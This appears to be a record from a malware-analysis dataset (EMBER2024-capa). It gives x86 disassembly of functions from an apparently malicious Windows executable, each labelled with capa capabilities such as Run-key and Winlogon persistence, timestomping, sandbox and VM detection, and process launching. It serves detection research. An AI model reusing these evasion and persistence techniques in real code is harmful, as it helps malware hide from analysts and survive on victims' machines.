joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44f510
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [0x77a5a0]
sub esp, 0x41c
cmp eax, ecx
push ebx
push ebp
push esi
push edi
jae 0x44f6bd
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 0x1f
mov edx, dword [ecx*4 + 0x77a4a0]
lea edi, [ecx*4 + 0x77a4a0]
shl esi, 3
mov dword [esp + 0x24], edi
mov dword [esp + 0x14], esi
mov cl, byte [esi + edx + 4]
test cl, 1
je 0x44f6bd
mov ebx, dword [esp + 0x438]
xor ebp, ebp
cmp ebx, ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0x20], ebp
jne 0x44f57e
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
test cl, 0x20
je 0x44f58f
push 2
push ebp
push eax
call fcn.0044c6f0
add esp, 0xc
mov eax, dword [edi]
add eax, esi
test byte [eax + 4], 0x80
je 0x44f6ee
mov ebp, dword [esp + 0x434]
mov dword [esp + 0x18], 0
test ebx, ebx
mov edi, ebp
jbe 0x44f639
lea eax, [esp + 0x28]
mov ecx, edi
sub ecx, ebp
cmp ecx, ebx
jae 0x44f5ea
mov cl, byte [edi]
inc edi
cmp cl, 0xa
jne 0x44f5d7
mov esi, dword [esp + 0x20]
mov byte [eax], 0xd
inc esi
inc eax
mov dword [esp + 0x20], esi
mov byte [eax], cl
inc eax
mov edx, eax
lea ecx, [esp + 0x28]
sub edx, ecx
cmp edx, 0x400
jl 0x44f5ba
mov esi, eax
lea edx, [esp + 0x28]
lea eax, [esp + 0x1c]
sub esi, edx
mov edx, dword [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x30]
mov eax, dword [edx]
push esi
push ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x44f6df
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, eax
cmp eax, esi
mov dword [esp + 0x10], edx
jl 0x44f635
mov eax, edi
sub eax, ebp
cmp eax, ebx
jb 0x44f5b6
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x44f6ae
mov eax, dword [esp + 0x18]
test eax, eax
je 0x44f682
cmp eax, 5
jne 0x44f66b
mov dword [0x77a0c8], eax
mov dword [0x77a0c4], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
push eax
call fcn.0044bd90
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
test byte [esi + edx + 4], 0x40
je 0x44f6a2
cmp byte [ebp], 0x1a
jne 0x44f6a2
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov dword [0x77a0c4], 0x1c
jmp 0x44f6c7
sub eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov dword [0x77a0c4], 9
pop edi
pop esi
pop ebp
mov dword [0x77a0c8], 0
or eax, 0xffffffff
pop ebx
add esp, 0x41c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x44f635
mov edx, dword [eax]
lea ecx, [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x438]
push ecx
push ebx
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x44f71f
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], eax
jmp 0x44f639
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x44f639
Function at 0x451370
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1004
call fcn.004518c0
mov eax, dword [0x77a5a0]
push ebx
mov ebx, dword [esp + 0x100c]
push ebp
xor ebp, ebp
push esi
cmp ebx, eax
push edi
jae 0x4514d2
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 0x1f
mov edx, dword [eax*4 + 0x77a4a0]
test byte [edx + ecx*8 + 4], 1
je 0x4514d2
push 1
push ebp
push ebx
call fcn.0044c6f0
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
mov dword [esp + 0x10], edi
je 0x4514dc
push 2
push ebp
push ebx
call fcn.0044c6f0
add esp, 0xc
cmp eax, 0xffffffff
je 0x4514dc
mov ecx, dword [esp + 0x101c]
mov esi, ecx
sub esi, eax
test esi, esi
jle 0x451478
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x14]
push 0x8000
rep stosd dword es:[edi], eax
push ebx
call fcn.00451840
add esp, 8
mov edi, eax
cmp esi, 0x1000
mov eax, 0x1000
jge 0x45141f
mov eax, esi
push eax
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.0044f510
add esp, 0xc
cmp eax, 0xffffffff
je 0x45143b
sub esi, eax
test esi, esi
jle 0x451451
jmp 0x451410
cmp dword [0x77a0c8], 5
jne 0x45144e
mov dword [0x77a0c4], 0xd
or ebp, 0xffffffff
push edi
push ebx
call fcn.00451840
mov edi, dword [esp + 0x18]
add esp, 8
push 0
push edi
push ebx
call fcn.0044c6f0
add esp, 0xc
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1004
ret
jge 0x4514b9
push 0
push ecx
push ebx
call fcn.0044c6f0
add esp, 0xc
push ebx
call fcn.0044f9a0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ebp, eax
neg ebp
sbb ebp, ebp
neg ebp
dec ebp
cmp ebp, 0xffffffff
jne 0x4514b9
mov dword [0x77a0c4], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x77a0c8], eax
push 0
push edi
push ebx
call fcn.0044c6f0
add esp, 0xc
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1004
ret
mov dword [0x77a0c4], 9
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1004
ret
Function at 0x453280
Capabilities:
Set environment variable

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x45343e
push 0x3d
push edi
call fcn.00453580
mov esi, eax
add esp, 8
test esi, esi
je 0x45343e
cmp edi, esi
je 0x45343e
mov dl, byte [esi + 1]
mov ecx, dword [0x77a0f0]
xor eax, eax
test dl, dl
sete al
mov ebp, eax
mov eax, dword [0x77a0ec]
cmp eax, ecx
jne 0x4532d7
push eax
call fcn.00453510
add esp, 4
mov dword [0x77a0ec], eax
test eax, eax
jne 0x453352
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4532fe
mov eax, dword [0x77a0f4]
test eax, eax
je 0x4532fe
call fcn.00452f30
test eax, eax
je 0x45334d
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
test ebp, ebp
je 0x45330a
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 4
call fcn.00447230
add esp, 4
mov dword [0x77a0ec], eax
test eax, eax
je 0x45343e
mov dword [eax], 0
mov eax, dword [0x77a0f4]
test eax, eax
jne 0x45334d
push 4
call fcn.00447230
add esp, 4
mov dword [0x77a0f4], eax
test eax, eax
je 0x45343e
mov dword [eax], 0
mov eax, dword [0x77a0ec]
mov ebx, eax
mov eax, esi
sub eax, edi
push eax
push edi
mov dword [esp + 0x18], eax
call fcn.00453490
mov esi, eax
add esp, 8
test esi, esi
jl 0x45344f
cmp dword [ebx], 0
je 0x45344f
test ebp, ebp
je 0x453447
mov ecx, dword [ebx + esi*4]
lea edi, [ebx + esi*4]
push ecx
call fcn.00446d50
mov eax, dword [edi]
add esp, 4
test eax, eax
je 0x4533a9
mov eax, edi
mov edx, dword [eax + 4]
add eax, 4
mov dword [edi], edx
inc esi
mov ecx, dword [eax]
mov edi, eax
test ecx, ecx
jne 0x453398
lea eax, [esi*4]
push eax
push ebx
call fcn.00446da0
add esp, 8
test eax, eax
je 0x4533c3
mov dword [0x77a0ec], eax
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x453436
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
inc ecx
push ecx
call fcn.00447230
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x453436
mov edi, dword [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [esp + 0x10]
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
neg ebp
rep movsb byte es:[edi], byte [esi]
sbb ebp, ebp
mov byte [ebx + eax], 0
lea eax, [ebx + eax + 1]
not ebp
and ebp, eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
call fcn.00446d50
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov dword [ebx + esi*4], edi
jmp 0x4533c7
test ebp, ebp
jne 0x453436
test esi, esi
jge 0x453459
neg esi
lea ecx, [esi*4 + 8]
push ecx
push ebx
call fcn.00446da0
add esp, 8
test eax, eax
je 0x45343e
mov dword [eax + esi*4], edi
mov dword [eax + esi*4 + 4], 0
mov dword [0x77a0ec], eax
jmp 0x4533c7
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - 0x214], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4013c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0xc], esi
cmp eax, esi
je 0x4014eb
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4014eb
lea eax, [ebp - 0x1c]
push eax
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x4014c4
lea eax, [ebx + 0x13]
and eax, 0xfffffff0
push eax
push 8
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x401445
mov ecx, dword [ebp - 8]
push ecx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], esi
test esi, esi
je 0x4014c4
push 1
push 0
push 0
push edi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [ebp - 0x10]
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp - 0x18], 0
jne 0x4014c1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4014ba
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 8], 0
mov esi, dword [ebp - 8]
mov dword [ebp - 8], 0
test edi, edi
je 0x4014eb
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4014eb
test byte [ebp - 8], 2
jne 0x4014eb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x40150f
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x401511
mov edx, dword [ebp - 0xc]
mov dword [edi], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401de0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401e97
lea ecx, [ebp - 4]
push ecx
call fcn.004013c0
mov esi, eax
test esi, esi
je 0x401e97
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401e75
rdtsc
xor dword [0x45904c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45904c], eax
push 0x4045a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401e55
push 0x4045ac
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401e55
push 0x45904c
call eax
mov ecx, dword [0x45904c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004012e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401e97
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401ea0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401f0c
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f0c
test byte [ebp - 8], 2
jne 0x401f0c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401f65
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f65
test byte [ebp + 8], 2
jne 0x401f65
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push 0x80000002
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4038d5
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4038db
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x40c], 0x51
jne 0x4038d5
cmp byte [ebp - 0x40b], 0x45
jne 0x4038d5
cmp byte [ebp - 0x40a], 0x4d
jne 0x4038d5
cmp byte [ebp - 0x409], 0x55
jne 0x4038d5
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403920
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], 0
mov ebx, 1
call edi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [ebp - 0x10c]
push str.test_item.exe
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
call fcn.00403870
test eax, eax
jne 0x403ac6
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_CharUpperA]
lea edx, [ebp - 0x210]
push str.SANDBOX
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push str.MALNETVM
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea ecx, [ebp - 0x210]
push str.VIRUSCLONE
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea edx, [ebp - 0x210]
push str.test_user
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push str.Dave
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
cmp eax, 0xcd1a40
je 0x403ac6
cmp eax, 0x6cbbc508
je 0x403ac6
cmp eax, 0x774e1682
je 0x403ac6
cmp eax, 0x837f873e
je 0x403ac6
cmp eax, 0x8b6f64bc
je 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._sand_box_
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x403ac6
push str.cwsandbox_
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
jne 0x403ac6
push str._sandbox_
lea ecx, [ebp - 0x10c]
push ecx
call esi
test eax, eax
jne 0x403ac6
xor ebx, ebx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420370
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49a47b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048eacc
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4203f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048c623
mov eax, dword [eax]
push 0x4bb240
push eax
call fcn.0047e924
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048ed57
test bl, bl
je 0x4203f2
push 0x4bb240
lea ecx, [esp + 0xc]
call fcn.0048f0e7
push 0x4bedc8
lea ecx, [esp + 0xc]
call fcn.0048f0e7
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42042e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048ed57
jmp 0x4204f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.DLL_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4204b2
lea edx, [esp + 0x7c]
push 0x4bedc4
push edx
call fcn.0047e924
add esp, 8
test eax, eax
je 0x4204b2
lea eax, [esp + 0x7c]
push 0x4bedc0
push eax
call fcn.0047e924
add esp, 8
test eax, eax
je 0x4204b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x420442
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048ed57
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x420cf0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x420d52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.DLL_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x420d60
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49a4fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4c72c0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x420e98
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x420dc6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048ed57
xor eax, eax
jmp 0x420f0f
push 0x4bee08
lea ecx, [esp + 0xc]
call fcn.0048ee94
push esi
lea ecx, [esp + 0xc]
call fcn.0048f123
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4bee00
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x420eed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x4bedf8
push closesocket
call fcn.00420cf0
test eax, eax
jne 0x420eed
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x14]
push 0x4bede4
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00420cf0
test eax, eax
jne 0x420eed
lea eax, [esp + 0x14]
push 0x4beddc
push eax
call fcn.0047f960
mov esi, eax
add esp, 8
test esi, esi
jne 0x420ecc
lea ecx, [esp + 0x14]
push 0x4bedd8
push ecx
call fcn.0047f8e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x420ecc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x420ecf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048ee44
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x420dde
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048ed57
xor eax, eax
jmp 0x420f0f
mov byte [esi], 0
push 0x4bedd4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048ed57
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4